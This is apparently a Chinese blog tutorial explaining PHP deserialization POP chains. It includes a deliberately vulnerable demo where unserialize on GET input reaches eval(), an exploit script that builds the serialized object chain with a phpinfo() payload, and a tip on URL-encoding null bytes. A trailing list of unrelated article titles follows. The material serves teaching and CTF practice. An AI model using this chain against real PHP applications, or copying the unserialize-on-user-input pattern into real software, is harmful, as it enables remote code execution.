1.POP链原理简介:

在反序列化中,我们能控制的数据就是对象中的属性值,所以在PHP反序列化中有一种
漏洞利用方法叫"面向属性编程",即POP( Property Oriented Programming)。
在反序列化漏洞利用中,最理想的情况就是漏洞能利用的点在那几个魔幻函数中,
而实际上往往是从这几个魔幻函数开始,逐步的跟进这个函数中调用的函数,直到找到可以利用的点。

试想一下,如果上面那个CTF题目的代码执行函数eval()函数不在__destruct这类
魔幻函数中,而是在一个普通的方法中,我们就没办法直接利用它执行代码了。
这个时候就需要构造一个链,链接到我们需要执行的函数eval()。

我们来模拟一个简单的场景

 1 <?php
2 class OowoO
3 {
4 protected $obj;
5 function __destruct()
6 {
7 //$obj = new test1; 这里可以控制$obj为任意对象
8 $this->obj->a();
9 }
10 }
11
12 class test1{
13 function a(){
14 echo "123";
15 }
16 }
17
18 class test2{
19 private $data;
20 function a(){
21 eval($this->data);
22 }
23 }
24 unserialize($_GET['a']);
25 ?>

利用:

 1 <script language="php">
2 class OowoO{
3 protected $obj;
4
5 public function __construct(){
6 $this->obj = new test2();
7 }
8 }
9 class test2{
10 private $data = "phpinfo();";
11 }
12 echo urlencode(serialize(new OowoO()));
13 </script>

结果:

值得注意的是,反序列化可以控制类的属性,无论private还是public。

但是这里有个坑,如果类中存在protected或者private属性的时候,序列化的时候会产生空

字节,所以记得urlencode一下,payload才会生效。

总的来说:如果魔幻函数中没有漏洞利用点,但是他调用了其他对象(意味着实例化了该对象)中的方法A,

由于上述demo5中我们传入的反序列化数据可以实例化任意对象,所以我们可以全局寻找一个和方法A同名的方法,然后逐个查看其他同名方法A中是否含有可利用的点。

最新文章

  1. Dapper Use For Net
  2. Andriod Studio科学文章——4.常见问题解答有关编译
  3. Bootstrap插件——(Tab)标签页
  4. 创建、更新、删除文档。 --- Mongodb权威指南阅读。
  5. 百度地图--JS版
  6. Java SE API —— 【Math 】之【BigInteger】类
  7. SQL- @@ROWCOUNT -返回上一行执行影响的行行数
  8. mysql概述
  9. python网络爬虫笔记(一)
  10. 2018 UESTC 线段树专题
  11. OpenGL——天空盒子模型
  12. VS2010 运行时 出现cmd窗口的设置方法
  13. Windows下用cmd命令实例讲解yii2.0 的控制台定时任务
  14. android控件拖动,移动、解决父布局重绘时控件回到原点
  15. 团队作业(二):ASB
  16. hive 一次性命令
  17. mysql外键理解
  18. 小程序动态生成二维码,生成image图片
  19. 【maven】---pom.xml-dependencies
  20. Git学习系列之Git和TortoiseGit的区别

热门文章

  1. Cyber Apocalypse 2021 pwn write up
  2. Kafka从入门到放弃(三) —— 详说生产者
  3. 任务日历关联(Project)
  4. 使用批处理文件(.bat)启动多个CMD窗口并执行命令
  5. LuoguB2008 计算 (a+b)&#215;c 的值 题解
  6. PSpiceAA-高级分析例程
  7. JAVA将一个pdf按页码拆分成多个pdf
  8. Linux(Centos)配置vsftp使用账号密码(虚拟用户)登录ftp进行文件上传和修改
  9. Android 崩溃错误
  10. 【LeetCode】199. Binary Tree Right Side View 解题报告(Python)